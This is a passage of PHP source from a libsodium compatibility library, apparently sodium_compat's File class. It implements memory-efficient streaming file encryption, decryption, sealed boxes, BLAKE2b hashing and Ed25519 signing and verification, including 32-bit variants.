$ephemeralPK . $publicKey,
'',
24
);
/** @var int $firstWrite */
$firstWrite = fwrite(
$ofp,
$ephemeralPK,
ParagonIE_Sodium_Compat::CRYPTO_BOX_PUBLICKEYBYTES
);
if (!is_int($firstWrite)) {
fclose($ifp);
fclose($ofp);
ParagonIE_Sodium_Compat::memzero($ephKeypair);
throw new SodiumException('Could not write to output file');
}
if ($firstWrite !== ParagonIE_Sodium_Compat::CRYPTO_BOX_PUBLICKEYBYTES) {
ParagonIE_Sodium_Compat::memzero($ephKeypair);
fclose($ifp);
fclose($ofp);
throw new SodiumException('Error writing public key to output file');
}
$res = self::box_encrypt($ifp, $ofp, $size, $nonce, $msgKeypair);
fclose($ifp);
fclose($ofp);
try {
ParagonIE_Sodium_Compat::memzero($nonce);
ParagonIE_Sodium_Compat::memzero($ephKeypair);
} catch (SodiumException $ex) {
/** @psalm-suppress PossiblyUndefinedVariable */
unset($ephKeypair);
}
return $res;
}
/**
* Open a sealed file (rather than a string). Uses less memory than
* ParagonIE_Sodium_Compat::crypto_box_seal_open(), but produces
* the same result.
*
* Warning: Does not protect against TOCTOU attacks. You should
* just load the file into memory and use crypto_box_seal_open() if
* you are worried about those.
*
* @param string $inputFile
* @param string $outputFile
* @param string $ecdhKeypair
* @return bool
* @throws SodiumException
* @throws TypeError
*/
public static function box_seal_open($inputFile, $outputFile, $ecdhKeypair)
{
/* Type checks: */
if (!is_string($inputFile)) {
throw new TypeError('Argument 1 must be a string, ' . gettype($inputFile) . ' given.');
}
if (!is_string($outputFile)) {
throw new TypeError('Argument 2 must be a string, ' . gettype($outputFile) . ' given.');
}
if (!is_string($ecdhKeypair)) {
throw new TypeError('Argument 3 must be a string, ' . gettype($ecdhKeypair) . ' given.');
}
/* Input validation: */
if (self::strlen($ecdhKeypair) !== ParagonIE_Sodium_Compat::CRYPTO_BOX_KEYPAIRBYTES) {
throw new TypeError('Argument 3 must be CRYPTO_BOX_KEYPAIRBYTES bytes');
}
$publicKey = ParagonIE_Sodium_Compat::crypto_box_publickey($ecdhKeypair);
/** @var int $size */
$size = filesize($inputFile);
if (!is_int($size)) {
throw new SodiumException('Could not obtain the file size');
}
/** @var resource $ifp */
$ifp = fopen($inputFile, 'rb');
if (!is_resource($ifp)) {
throw new SodiumException('Could not open input file for reading');
}
/** @var resource $ofp */
$ofp = fopen($outputFile, 'wb');
if (!is_resource($ofp)) {
fclose($ifp);
throw new SodiumException('Could not open output file for writing');
}
$ephemeralPK = fread($ifp, ParagonIE_Sodium_Compat::CRYPTO_BOX_PUBLICKEYBYTES);
if (!is_string($ephemeralPK)) {
throw new SodiumException('Could not read input file');
}
if (self::strlen($ephemeralPK) !== ParagonIE_Sodium_Compat::CRYPTO_BOX_PUBLICKEYBYTES) {
fclose($ifp);
fclose($ofp);
throw new SodiumException('Could not read public key from sealed file');
}
$nonce = ParagonIE_Sodium_Compat::crypto_generichash(
$ephemeralPK . $publicKey,
'',
24
);
$msgKeypair = ParagonIE_Sodium_Compat::crypto_box_keypair_from_secretkey_and_publickey(
ParagonIE_Sodium_Compat::crypto_box_secretkey($ecdhKeypair),
$ephemeralPK
);
$res = self::box_decrypt($ifp, $ofp, $size, $nonce, $msgKeypair);
fclose($ifp);
fclose($ofp);
try {
ParagonIE_Sodium_Compat::memzero($nonce);
ParagonIE_Sodium_Compat::memzero($ephKeypair);
} catch (SodiumException $ex) {
if (isset($ephKeypair)) {
unset($ephKeypair);
}
}
return $res;
}
/**
* Calculate the BLAKE2b hash of a file.
*
* @param string $filePath Absolute path to a file on the filesystem
* @param string|null $key BLAKE2b key
* @param int $outputLength Length of hash output
*
* @return string BLAKE2b hash
* @throws SodiumException
* @throws TypeError
* @psalm-suppress FailedTypeResolution
*/
public static function generichash($filePath, $key = '', $outputLength = 32)
{
/* Type checks: */
if (!is_string($filePath)) {
throw new TypeError('Argument 1 must be a string, ' . gettype($filePath) . ' given.');
}
if (!is_string($key)) {
if (is_null($key)) {
$key = '';
} else {
throw new TypeError('Argument 2 must be a string, ' . gettype($key) . ' given.');
}
}
if (!is_int($outputLength)) {
if (!is_numeric($outputLength)) {
throw new TypeError('Argument 3 must be an integer, ' . gettype($outputLength) . ' given.');
}
$outputLength = (int) $outputLength;
}
/* Input validation: */
if (!empty($key)) {
if (self::strlen($key) < ParagonIE_Sodium_Compat::CRYPTO_GENERICHASH_KEYBYTES_MIN) {
throw new TypeError('Argument 2 must be at least CRYPTO_GENERICHASH_KEYBYTES_MIN bytes');
}
if (self::strlen($key) > ParagonIE_Sodium_Compat::CRYPTO_GENERICHASH_KEYBYTES_MAX) {
throw new TypeError('Argument 2 must be at most CRYPTO_GENERICHASH_KEYBYTES_MAX bytes');
}
}
if ($outputLength < ParagonIE_Sodium_Compat::CRYPTO_GENERICHASH_BYTES_MIN) {
throw new SodiumException('Argument 3 must be at least CRYPTO_GENERICHASH_BYTES_MIN');
}
if ($outputLength > ParagonIE_Sodium_Compat::CRYPTO_GENERICHASH_BYTES_MAX) {
throw new SodiumException('Argument 3 must be at least CRYPTO_GENERICHASH_BYTES_MAX');
}
/** @var int $size */
$size = filesize($filePath);
if (!is_int($size)) {
throw new SodiumException('Could not obtain the file size');
}
/** @var resource $fp */
$fp = fopen($filePath, 'rb');
if (!is_resource($fp)) {
throw new SodiumException('Could not open input file for reading');
}
$ctx = ParagonIE_Sodium_Compat::crypto_generichash_init($key, $outputLength);
while ($size > 0) {
$blockSize = $size > 64
? 64
: $size;
$read = fread($fp, $blockSize);
if (!is_string($read)) {
throw new SodiumException('Could not read input file');
}
ParagonIE_Sodium_Compat::crypto_generichash_update($ctx, $read);
$size -= $blockSize;
}
fclose($fp);
return ParagonIE_Sodium_Compat::crypto_generichash_final($ctx, $outputLength);
}
/**
* Encrypt a file (rather than a string). Uses less memory than
* ParagonIE_Sodium_Compat::crypto_secretbox(), but produces
* the same result.
*
* @param string $inputFile Absolute path to a file on the filesystem
* @param string $outputFile Absolute path to a file on the filesystem
* @param string $nonce Number to be used only once
* @param string $key Encryption key
*
* @return bool
* @throws SodiumException
* @throws TypeError
*/
public static function secretbox($inputFile, $outputFile, $nonce, $key)
{
/* Type checks: */
if (!is_string($inputFile)) {
throw new TypeError('Argument 1 must be a string, ' . gettype($inputFile) . ' given..');
}
if (!is_string($outputFile)) {
throw new TypeError('Argument 2 must be a string, ' . gettype($outputFile) . ' given.');
}
if (!is_string($nonce)) {
throw new TypeError('Argument 3 must be a string, ' . gettype($nonce) . ' given.');
}
/* Input validation: */
if (self::strlen($nonce) !== ParagonIE_Sodium_Compat::CRYPTO_SECRETBOX_NONCEBYTES) {
throw new TypeError('Argument 3 must be CRYPTO_SECRETBOX_NONCEBYTES bytes');
}
if (!is_string($key)) {
throw new TypeError('Argument 4 must be a string, ' . gettype($key) . ' given.');
}
if (self::strlen($key) !== ParagonIE_Sodium_Compat::CRYPTO_SECRETBOX_KEYBYTES) {
throw new TypeError('Argument 4 must be CRYPTO_SECRETBOX_KEYBYTES bytes');
}
/** @var int $size */
$size = filesize($inputFile);
if (!is_int($size)) {
throw new SodiumException('Could not obtain the file size');
}
/** @var resource $ifp */
$ifp = fopen($inputFile, 'rb');
if (!is_resource($ifp)) {
throw new SodiumException('Could not open input file for reading');
}
/** @var resource $ofp */
$ofp = fopen($outputFile, 'wb');
if (!is_resource($ofp)) {
fclose($ifp);
throw new SodiumException('Could not open output file for writing');
}
$res = self::secretbox_encrypt($ifp, $ofp, $size, $nonce, $key);
fclose($ifp);
fclose($ofp);
return $res;
}
/**
* Seal a file (rather than a string). Uses less memory than
* ParagonIE_Sodium_Compat::crypto_secretbox_open(), but produces
* the same result.
*
* Warning: Does not protect against TOCTOU attacks. You should
* just load the file into memory and use crypto_secretbox_open() if
* you are worried about those.
*
* @param string $inputFile
* @param string $outputFile
* @param string $nonce
* @param string $key
* @return bool
* @throws SodiumException
* @throws TypeError
*/
public static function secretbox_open($inputFile, $outputFile, $nonce, $key)
{
/* Type checks: */
if (!is_string($inputFile)) {
throw new TypeError('Argument 1 must be a string, ' . gettype($inputFile) . ' given.');
}
if (!is_string($outputFile)) {
throw new TypeError('Argument 2 must be a string, ' . gettype($outputFile) . ' given.');
}
if (!is_string($nonce)) {
throw new TypeError('Argument 3 must be a string, ' . gettype($nonce) . ' given.');
}
if (!is_string($key)) {
throw new TypeError('Argument 4 must be a string, ' . gettype($key) . ' given.');
}
/* Input validation: */
if (self::strlen($nonce) !== ParagonIE_Sodium_Compat::CRYPTO_SECRETBOX_NONCEBYTES) {
throw new TypeError('Argument 4 must be CRYPTO_SECRETBOX_NONCEBYTES bytes');
}
if (self::strlen($key) !== ParagonIE_Sodium_Compat::CRYPTO_SECRETBOX_KEYBYTES) {
throw new TypeError('Argument 4 must be CRYPTO_SECRETBOXBOX_KEYBYTES bytes');
}
/** @var int $size */
$size = filesize($inputFile);
if (!is_int($size)) {
throw new SodiumException('Could not obtain the file size');
}
/** @var resource $ifp */
$ifp = fopen($inputFile, 'rb');
if (!is_resource($ifp)) {
throw new SodiumException('Could not open input file for reading');
}
/** @var resource $ofp */
$ofp = fopen($outputFile, 'wb');
if (!is_resource($ofp)) {
fclose($ifp);
throw new SodiumException('Could not open output file for writing');
}
$res = self::secretbox_decrypt($ifp, $ofp, $size, $nonce, $key);
fclose($ifp);
fclose($ofp);
try {
ParagonIE_Sodium_Compat::memzero($key);
} catch (SodiumException $ex) {
/** @psalm-suppress PossiblyUndefinedVariable */
unset($key);
}
return $res;
}
/**
* Sign a file (rather than a string). Uses less memory than
* ParagonIE_Sodium_Compat::crypto_sign_detached(), but produces
* the same result.
*
* @param string $filePath Absolute path to a file on the filesystem
* @param string $secretKey Secret signing key
*
* @return string Ed25519 signature
* @throws SodiumException
* @throws TypeError
*/
public static function sign($filePath, $secretKey)
{
/* Type checks: */
if (!is_string($filePath)) {
throw new TypeError('Argument 1 must be a string, ' . gettype($filePath) . ' given.');
}
if (!is_string($secretKey)) {
throw new TypeError('Argument 2 must be a string, ' . gettype($secretKey) . ' given.');
}
/* Input validation: */
if (self::strlen($secretKey) !== ParagonIE_Sodium_Compat::CRYPTO_SIGN_SECRETKEYBYTES) {
throw new TypeError('Argument 2 must be CRYPTO_SIGN_SECRETKEYBYTES bytes');
}
if (PHP_INT_SIZE === 4) {
return self::sign_core32($filePath, $secretKey);
}
/** @var int $size */
$size = filesize($filePath);
if (!is_int($size)) {
throw new SodiumException('Could not obtain the file size');
}
/** @var resource $fp */
$fp = fopen($filePath, 'rb');
if (!is_resource($fp)) {
throw new SodiumException('Could not open input file for reading');
}
/** @var string $az */
$az = hash('sha512', self::substr($secretKey, 0, 32), true);
$az[0] = self::intToChr(self::chrToInt($az[0]) & 248);
$az[31] = self::intToChr((self::chrToInt($az[31]) & 63) | 64);
$hs = hash_init('sha512');
self::hash_update($hs, self::substr($az, 32, 32));
/** @var resource $hs */
$hs = self::updateHashWithFile($hs, $fp, $size);
/** @var string $nonceHash */
$nonceHash = hash_final($hs, true);
/** @var string $pk */
$pk = self::substr($secretKey, 32, 32);
/** @var string $nonce */
$nonce = ParagonIE_Sodium_Core_Ed25519::sc_reduce($nonceHash) . self::substr($nonceHash, 32);
/** @var string $sig */
$sig = ParagonIE_Sodium_Core_Ed25519::ge_p3_tobytes(
ParagonIE_Sodium_Core_Ed25519::ge_scalarmult_base($nonce)
);
$hs = hash_init('sha512');
self::hash_update($hs, self::substr($sig, 0, 32));
self::hash_update($hs, self::substr($pk, 0, 32));
/** @var resource $hs */
$hs = self::updateHashWithFile($hs, $fp, $size);
/** @var string $hramHash */
$hramHash = hash_final($hs, true);
/** @var string $hram */
$hram = ParagonIE_Sodium_Core_Ed25519::sc_reduce($hramHash);
/** @var string $sigAfter */
$sigAfter = ParagonIE_Sodium_Core_Ed25519::sc_muladd($hram, $az, $nonce);
/** @var string $sig */
$sig = self::substr($sig, 0, 32) . self::substr($sigAfter, 0, 32);
try {
ParagonIE_Sodium_Compat::memzero($az);
} catch (SodiumException $ex) {
$az = null;
}
fclose($fp);
return $sig;
}
/**
* Verify a file (rather than a string). Uses less memory than
* ParagonIE_Sodium_Compat::crypto_sign_verify_detached(), but
* produces the same result.
*
* @param string $sig Ed25519 signature
* @param string $filePath Absolute path to a file on the filesystem
* @param string $publicKey Signing public key
*
* @return bool
* @throws SodiumException
* @throws TypeError
* @throws Exception
*/
public static function verify($sig, $filePath, $publicKey)
{
/* Type checks: */
if (!is_string($sig)) {
throw new TypeError('Argument 1 must be a string, ' . gettype($sig) . ' given.');
}
if (!is_string($filePath)) {
throw new TypeError('Argument 2 must be a string, ' . gettype($filePath) . ' given.');
}
if (!is_string($publicKey)) {
throw new TypeError('Argument 3 must be a string, ' . gettype($publicKey) . ' given.');
}
/* Input validation: */
if (self::strlen($sig) !== ParagonIE_Sodium_Compat::CRYPTO_SIGN_BYTES) {
throw new TypeError('Argument 1 must be CRYPTO_SIGN_BYTES bytes');
}
if (self::strlen($publicKey) !== ParagonIE_Sodium_Compat::CRYPTO_SIGN_PUBLICKEYBYTES) {
throw new TypeError('Argument 3 must be CRYPTO_SIGN_PUBLICKEYBYTES bytes');
}
if (self::strlen($sig) < 64) {
throw new SodiumException('Signature is too short');
}
if (PHP_INT_SIZE === 4) {
return self::verify_core32($sig, $filePath, $publicKey);
}
/* Security checks */
if (
(ParagonIE_Sodium_Core_Ed25519::chrToInt($sig[63]) & 240)
&&
ParagonIE_Sodium_Core_Ed25519::check_S_lt_L(self::substr($sig, 32, 32))
) {
throw new SodiumException('S < L - Invalid signature');
}
if (ParagonIE_Sodium_Core_Ed25519::small_order($sig)) {
throw new SodiumException('Signature is on too small of an order');
}
if ((self::chrToInt($sig[63]) & 224) !== 0) {
throw new SodiumException('Invalid signature');
}
$d = 0;
for ($i = 0; $i < 32; ++$i) {
$d |= self::chrToInt($publicKey[$i]);
}
if ($d === 0) {
throw new SodiumException('All zero public key');
}
/** @var int $size */
$size = filesize($filePath);
if (!is_int($size)) {
throw new SodiumException('Could not obtain the file size');
}
/** @var resource $fp */
$fp = fopen($filePath, 'rb');
if (!is_resource($fp)) {
throw new SodiumException('Could not open input file for reading');
}
/** @var bool The original value of ParagonIE_Sodium_Compat::$fastMult */
$orig = ParagonIE_Sodium_Compat::$fastMult;
// Set ParagonIE_Sodium_Compat::$fastMult to true to speed up verification.
ParagonIE_Sodium_Compat::$fastMult = true;
/** @var ParagonIE_Sodium_Core_Curve25519_Ge_P3 $A */
$A = ParagonIE_Sodium_Core_Ed25519::ge_frombytes_negate_vartime($publicKey);
$hs = hash_init('sha512');
self::hash_update($hs, self::substr($sig, 0, 32));
self::hash_update($hs, self::substr($publicKey, 0, 32));
/** @var resource $hs */
$hs = self::updateHashWithFile($hs, $fp, $size);
/** @var string $hDigest */
$hDigest = hash_final($hs, true);
/** @var string $h */
$h = ParagonIE_Sodium_Core_Ed25519::sc_reduce($hDigest) . self::substr($hDigest, 32);
/** @var ParagonIE_Sodium_Core_Curve25519_Ge_P2 $R */
$R = ParagonIE_Sodium_Core_Ed25519::ge_double_scalarmult_vartime(
$h,
$A,
self::substr($sig, 32)
);
/** @var string $rcheck */
$rcheck = ParagonIE_Sodium_Core_Ed25519::ge_tobytes($R);
// Close the file handle
fclose($fp);
// Reset ParagonIE_Sodium_Compat::$fastMult to what it was before.
ParagonIE_Sodium_Compat::$fastMult = $orig;
return self::verify_32($rcheck, self::substr($sig, 0, 32));
}
/**
* @param resource $ifp
* @param resource $ofp
* @param int $mlen
* @param string $nonce
* @param string $boxKeypair
* @return bool
* @throws SodiumException
* @throws TypeError
*/
protected static function box_encrypt($ifp, $ofp, $mlen, $nonce, $boxKeypair)
{
if (PHP_INT_SIZE === 4) {
return self::secretbox_encrypt(
$ifp,
$ofp,
$mlen,
$nonce,
ParagonIE_Sodium_Crypto32::box_beforenm(
ParagonIE_Sodium_Crypto32::box_secretkey($boxKeypair),
ParagonIE_Sodium_Crypto32::box_publickey($boxKeypair)
)
);
}
return self::secretbox_encrypt(
$ifp,
$ofp,
$mlen,
$nonce,
ParagonIE_Sodium_Crypto::box_beforenm(
ParagonIE_Sodium_Crypto::box_secretkey($boxKeypair),
ParagonIE_Sodium_Crypto::box_publickey($boxKeypair)
)
);
}
/**
* @param resource $ifp
* @param resource $ofp
* @param int $mlen
* @param string $nonce
* @param string $boxKeypair
* @return bool
* @throws SodiumException
* @throws TypeError
*/
protected static function box_decrypt($ifp, $ofp, $mlen, $nonce, $boxKeypair)
{
if (PHP_INT_SIZE === 4) {
return self::secretbox_decrypt(
$ifp,
$ofp,
$mlen,
$nonce,
ParagonIE_Sodium_Crypto32::box_beforenm(
ParagonIE_Sodium_Crypto32::box_secretkey($boxKeypair),
ParagonIE_Sodium_Crypto32::box_publickey($boxKeypair)
)
);
}
return self::secretbox_decrypt(
$ifp,
$ofp,
$mlen,
$nonce,
ParagonIE_Sodium_Crypto::box_beforenm(
ParagonIE_Sodium_Crypto::box_secretkey($boxKeypair),
ParagonIE_Sodium_Crypto::box_publickey($boxKeypair)
)
);
}
/**
* Encrypt a file
*
* @param resource $ifp
* @param resource $ofp
* @param int $mlen
* @param string $nonce
* @param string $key
* @return bool
* @throws SodiumException
* @throws TypeError
*/
protected static function secretbox_encrypt($ifp, $ofp, $mlen, $nonce, $key)
{
if (PHP_INT_SIZE === 4) {
return self::secretbox_encrypt_core32($ifp, $ofp, $mlen, $nonce, $key);
}
$plaintext = fread($ifp, 32);
if (!is_string($plaintext)) {
throw new SodiumException('Could not read input file');
}
$first32 = self::ftell($ifp);
/** @var string $subkey */
$subkey = ParagonIE_Sodium_Core_HSalsa20::hsalsa20($nonce, $key);
/** @var string $realNonce */
$realNonce = ParagonIE_Sodium_Core_Util::substr($nonce, 16, 8);
/** @var string $block0 */
$block0 = str_repeat("\x00", 32);
/** @var int $mlen - Length of the plaintext message */
$mlen0 = $mlen;
if ($mlen0 > 64 - ParagonIE_Sodium_Crypto::secretbox_xsalsa20poly1305_ZEROBYTES) {
$mlen0 = 64 - ParagonIE_Sodium_Crypto::secretbox_xsalsa20poly1305_ZEROBYTES;
}
$block0 .= ParagonIE_Sodium_Core_Util::substr($plaintext, 0, $mlen0);
/** @var string $block0 */
$block0 = ParagonIE_Sodium_Core_Salsa20::salsa20_xor(
$block0,
$realNonce,
$subkey
);
$state = new ParagonIE_Sodium_Core_Poly1305_State(
ParagonIE_Sodium_Core_Util::substr(
$block0,
0,
ParagonIE_Sodium_Crypto::onetimeauth_poly1305_KEYBYTES
)
);
// Pre-write 16 blank bytes for the Poly1305 tag
$start = self::ftell($ofp);
fwrite($ofp, str_repeat("\x00", 16));
/** @var string $c */
$cBlock = ParagonIE_Sodium_Core_Util::substr(
$block0,
ParagonIE_Sodium_Crypto::secretbox_xsalsa20poly1305_ZEROBYTES
);
$state->update($cBlock);
fwrite($ofp, $cBlock);
$mlen -= 32;
/** @var int $iter */
$iter = 1;
/** @var int $incr */
$incr = self::BUFFER_SIZE >> 6;
/*
* Set the cursor to the end of the first half-block. All future bytes will
* generated from salsa20_xor_ic, starting from 1 (second block).
*/
fseek($ifp, $first32, SEEK_SET);
while ($mlen > 0) {
$blockSize = $mlen > self::BUFFER_SIZE
? self::BUFFER_SIZE
: $mlen;
$plaintext = fread($ifp, $blockSize);
if (!is_string($plaintext)) {
throw new SodiumException('Could not read input file');
}
$cBlock = ParagonIE_Sodium_Core_Salsa20::salsa20_xor_ic(
$plaintext,
$realNonce,
$iter,
$subkey
);
fwrite($ofp, $cBlock, $blockSize);
$state->update($cBlock);
$mlen -= $blockSize;
$iter += $incr;
}
try {
ParagonIE_Sodium_Compat::memzero($block0);
ParagonIE_Sodium_Compat::memzero($subkey);
} catch (SodiumException $ex) {
$block0 = null;
$subkey = null;
}
$end = self::ftell($ofp);
/*
* Write the Poly1305 authentication tag that provides integrity
* over the ciphertext (encrypt-then-MAC)
*/
fseek($ofp, $start, SEEK_SET);
fwrite($ofp, $state->finish(), ParagonIE_Sodium_Compat::CRYPTO_SECRETBOX_MACBYTES);
fseek($ofp, $end, SEEK_SET);
unset($state);
return true;
}
/**
* Decrypt a file
*
* @param resource $ifp
* @param resource $ofp
* @param int $mlen
* @param string $nonce
* @param string $key
* @return bool
* @throws SodiumException
* @throws TypeError
*/
protected static function secretbox_decrypt($ifp, $ofp, $mlen, $nonce, $key)
{
if (PHP_INT_SIZE === 4) {
return self::secretbox_decrypt_core32($ifp, $ofp, $mlen, $nonce, $key);
}
$tag = fread($ifp, 16);
if (!is_string($tag)) {
throw new SodiumException('Could not read input file');
}
/** @var string $subkey */
$subkey = ParagonIE_Sodium_Core_HSalsa20::hsalsa20($nonce, $key);
/** @var string $realNonce */
$realNonce = ParagonIE_Sodium_Core_Util::substr($nonce, 16, 8);
/** @var string $block0 */
$block0 = ParagonIE_Sodium_Core_Salsa20::salsa20(
64,
ParagonIE_Sodium_Core_Util::substr($nonce, 16, 8),
$subkey
);
/* Verify the Poly1305 MAC -before- attempting to decrypt! */
$state = new ParagonIE_Sodium_Core_Poly1305_State(self::substr($block0, 0, 32));
if (!self::onetimeauth_verify($state, $ifp, $tag, $mlen)) {
throw new SodiumException('Invalid MAC');
}
/*
* Set the cursor to the end of the first half-block. All future bytes will
* generated from salsa20_xor_ic, starting from 1 (second block).
*/
$first32 = fread($ifp, 32);
if (!is_string($first32)) {
throw new SodiumException('Could not read input file');
}
$first32len = self::strlen($first32);
fwrite(
$ofp,
self::xorStrings(
self::substr($block0, 32, $first32len),
self::substr($first32, 0, $first32len)
)
);
$mlen -= 32;
/** @var int $iter */
$iter = 1;
/** @var int $incr */
$incr = self::BUFFER_SIZE >> 6;
/* Decrypts ciphertext, writes to output file. */
while ($mlen > 0) {
$blockSize = $mlen > self::BUFFER_SIZE
? self::BUFFER_SIZE
: $mlen;
$ciphertext = fread($ifp, $blockSize);
if (!is_string($ciphertext)) {
throw new SodiumException('Could not read input file');
}
$pBlock = ParagonIE_Sodium_Core_Salsa20::salsa20_xor_ic(
$ciphertext,
$realNonce,
$iter,
$subkey
);
fwrite($ofp, $pBlock, $blockSize);
$mlen -= $blockSize;
$iter += $incr;
}
return true;
}
/**
* @param ParagonIE_Sodium_Core_Poly1305_State $state
* @param resource $ifp
* @param string $tag
* @param int $mlen
* @return bool
* @throws SodiumException
* @throws TypeError
*/
protected static function onetimeauth_verify(
ParagonIE_Sodium_Core_Poly1305_State $state,
$ifp,
$tag = '',
$mlen = 0
) {
/** @var int $pos */
$pos = self::ftell($ifp);
/** @var int $iter */
$iter = 1;
/** @var int $incr */
$incr = self::BUFFER_SIZE >> 6;
while ($mlen > 0) {
$blockSize = $mlen > self::BUFFER_SIZE
? self::BUFFER_SIZE
: $mlen;
$ciphertext = fread($ifp, $blockSize);
if (!is_string($ciphertext)) {
throw new SodiumException('Could not read input file');
}
$state->update($ciphertext);
$mlen -= $blockSize;
$iter += $incr;
}
$res = ParagonIE_Sodium_Core_Util::verify_16($tag, $state->finish());
fseek($ifp, $pos, SEEK_SET);
return $res;
}
/**
* Update a hash context with the contents of a file, without
* loading the entire file into memory.
*
* @param resource|HashContext $hash
* @param resource $fp
* @param int $size
* @return resource|object Resource on PHP < 7.2, HashContext object on PHP >= 7.2
* @throws SodiumException
* @throws TypeError
* @psalm-suppress PossiblyInvalidArgument
* PHP 7.2 changes from a resource to an object,
* which causes Psalm to complain about an error.
* @psalm-suppress TypeCoercion
* Ditto.
*/
public static function updateHashWithFile($hash, $fp, $size = 0)
{
/* Type checks: */
if (PHP_VERSION_ID < 70200) {
if (!is_resource($hash)) {
throw new TypeError('Argument 1 must be a resource, ' . gettype($hash) . ' given.');
}
} else {
if (!is_object($hash)) {
throw new TypeError('Argument 1 must be an object (PHP 7.2+), ' . gettype($hash) . ' given.');
}
}
if (!is_resource($fp)) {
throw new TypeError('Argument 2 must be a resource, ' . gettype($fp) . ' given.');
}
if (!is_int($size)) {
throw new TypeError('Argument 3 must be an integer, ' . gettype($size) . ' given.');
}
/** @var int $originalPosition */
$originalPosition = self::ftell($fp);
// Move file pointer to beginning of file
fseek($fp, 0, SEEK_SET);
for ($i = 0; $i < $size; $i += self::BUFFER_SIZE) {
/** @var string|bool $message */
$message = fread(
$fp,
($size - $i) > self::BUFFER_SIZE
? $size - $i
: self::BUFFER_SIZE
);
if (!is_string($message)) {
throw new SodiumException('Unexpected error reading from file.');
}
/** @var string $message */
/** @psalm-suppress InvalidArgument */
self::hash_update($hash, $message);
}
// Reset file pointer's position
fseek($fp, $originalPosition, SEEK_SET);
return $hash;
}
/**
* Sign a file (rather than a string). Uses less memory than
* ParagonIE_Sodium_Compat::crypto_sign_detached(), but produces
* the same result. (32-bit)
*
* @param string $filePath Absolute path to a file on the filesystem
* @param string $secretKey Secret signing key
*
* @return string Ed25519 signature
* @throws SodiumException
* @throws TypeError
*/
private static function sign_core32($filePath, $secretKey)
{
$size = filesize($filePath);
if (!is_int($size)) {
throw new SodiumException('Could not obtain the file size');
}
$fp = fopen($filePath, 'rb');
if (!is_resource($fp)) {
throw new SodiumException('Could not open input file for reading');
}
/** @var string $az */
$az = hash('sha512', self::substr($secretKey, 0, 32), true);
$az[0] = self::intToChr(self::chrToInt($az[0]) & 248);
$az[31] = self::intToChr((self::chrToInt($az[31]) & 63) | 64);
$hs = hash_init('sha512');
self::hash_update($hs, self::substr($az, 32, 32));
/** @var resource $hs */
$hs = self::updateHashWithFile($hs, $fp, $size);
$nonceHash = hash_final($hs, true);
$pk = self::substr($secretKey, 32, 32);
$nonce = ParagonIE_Sodium_Core32_Ed25519::sc_reduce($nonceHash) . self::substr($nonceHash, 32);
$sig = ParagonIE_Sodium_Core32_Ed25519::ge_p3_tobytes(
ParagonIE_Sodium_Core32_Ed25519::ge_scalarmult_base($nonce)
);
$hs = hash_init('sha512');
self::hash_update($hs, self::substr($sig, 0, 32));
self::hash_update($hs, self::substr($pk, 0, 32));
/** @var resource $hs */
$hs = self::updateHashWithFile($hs, $fp, $size);
$hramHash = hash_final($hs, true);
$hram = ParagonIE_Sodium_Core32_Ed25519::sc_reduce($hramHash);
$sigAfter = ParagonIE_Sodium_Core32_Ed25519::sc_muladd($hram, $az, $nonce);
/** @var string $sig */
$sig = self::substr($sig, 0, 32) . self::substr($sigAfter, 0, 32);
try {
ParagonIE_Sodium_Compat::memzero($az);
} catch (SodiumException $ex) {
$az = null;
}
fclose($fp);
return $sig;
}
/**
*
* Verify a file (rather than a string). Uses less memory than
* ParagonIE_Sodium_Compat::crypto_sign_verify_detached(), but
* produces the same result. (32-bit)
*
* @param string $sig Ed25519 signature
* @param string $filePath Absolute path to a file on the filesystem
* @param string $publicKey Signing public key
*
* @return bool
* @throws SodiumException
* @throws Exception
*/
public static function verify_core32($sig, $filePath, $publicKey)
{
/* Security checks */
if (ParagonIE_Sodium_Core32_Ed25519::check_S_lt_L(self::substr($sig, 32, 32))) {
throw new SodiumException('S < L - Invalid signature');
}
if (ParagonIE_Sodium_Core32_Ed25519::small_order($sig)) {
throw new SodiumException('Signature is on too small of an order');
}
if ((self::chrToInt($sig[63]) & 224) !== 0) {
throw new SodiumException('Invalid signature');
}
$d = 0;
for ($i = 0; $i < 32; ++$i) {
$d |= self::chrToInt($publicKey[$i]);
}
if ($d === 0) {
throw new SodiumException('All zero public key');
}
/** @var int|bool $size */
$size = filesize($filePath);
if (!is_int($size)) {
throw new SodiumException('Could not obtain the file size');
}
/** @var int $size */
/** @var resource|bool $fp */
$fp = fopen($filePath, 'rb');
if (!is_resource($fp)) {
throw new SodiumException('Could not open input file for reading');
}
/** @var resource $fp */
/** @var bool The original value of ParagonIE_Sodium_Compat::$fastMult */
$orig = ParagonIE_Sodium_Compat::$fastMult;
// Set ParagonIE_Sodium_Compat::$fastMult to true to speed up verification.
ParagonIE_Sodium_Compat::$fastMult = true;
/** @var ParagonIE_Sodium_Core32_Curve25519_Ge_P3 $A */
$A = ParagonIE_Sodium_Core32_Ed25519::ge_frombytes_negate_vartime($publicKey);
$hs = hash_init('sha512');
self::hash_update($hs, self::substr($sig, 0, 32));
self::hash_update($hs, self::substr($publicKey, 0, 32));
/** @var resource $hs */
$hs = self::updateHashWithFile($hs, $fp, $size);
/** @var string $hDigest */
$hDigest = hash_final($hs, true);
/** @var string $h */
$h = ParagonIE_Sodium_Core32_Ed25519::sc_reduce($hDigest) . self::substr($hDigest, 32);
/** @var ParagonIE_Sodium_Core32_Curve25519_Ge_P2 $R */
$R = ParagonIE_Sodium_Core32_Ed25519::ge_double_scalarmult_vartime(
$h,
$A,
self::substr($sig, 32)
);
/** @var string $rcheck */
$rcheck = ParagonIE_Sodium_Core32_Ed25519::ge_tobytes($R);
// Close the file handle
fclose($fp);
// Reset ParagonIE_Sodium_Compat::$fastMult to what it was before.
ParagonIE_Sodium_Compat::$fastMult = $orig;
return self::verify_32($rcheck, self::substr($sig, 0, 32));
}
/**
* Encrypt a file (32-bit)
*
* @param resource $ifp
* @param resource $ofp
* @param int $mlen
* @param string $nonce
* @param string $key
* @return bool
* @throws SodiumException
* @throws TypeError
*/
protected static function secretbox_encrypt_core32($ifp, $ofp, $mlen, $nonce, $key)
{
$plaintext = fread($ifp, 32);
if (!is_string($plaintext)) {
throw new SodiumException('Could not read input file');
}
$first32 = self::ftell($ifp);
/** @var string $subkey */
$subkey = ParagonIE_Sodium_Core32_HSalsa20::hsalsa20($nonce, $key);
/** @var string $realNonce */
$realNonce = ParagonIE_Sodium_Core32_Util::substr($nonce, 16, 8);
/** @var string $block0 */
$block0 = str_repeat("\x00", 32);
/** @var int $mlen - Length of the plaintext message */
$mlen0 = $mlen;
if ($mlen0 > 64 - ParagonIE_Sodium_Crypto::secretbox_xsalsa20poly1305_ZEROBYTES) {
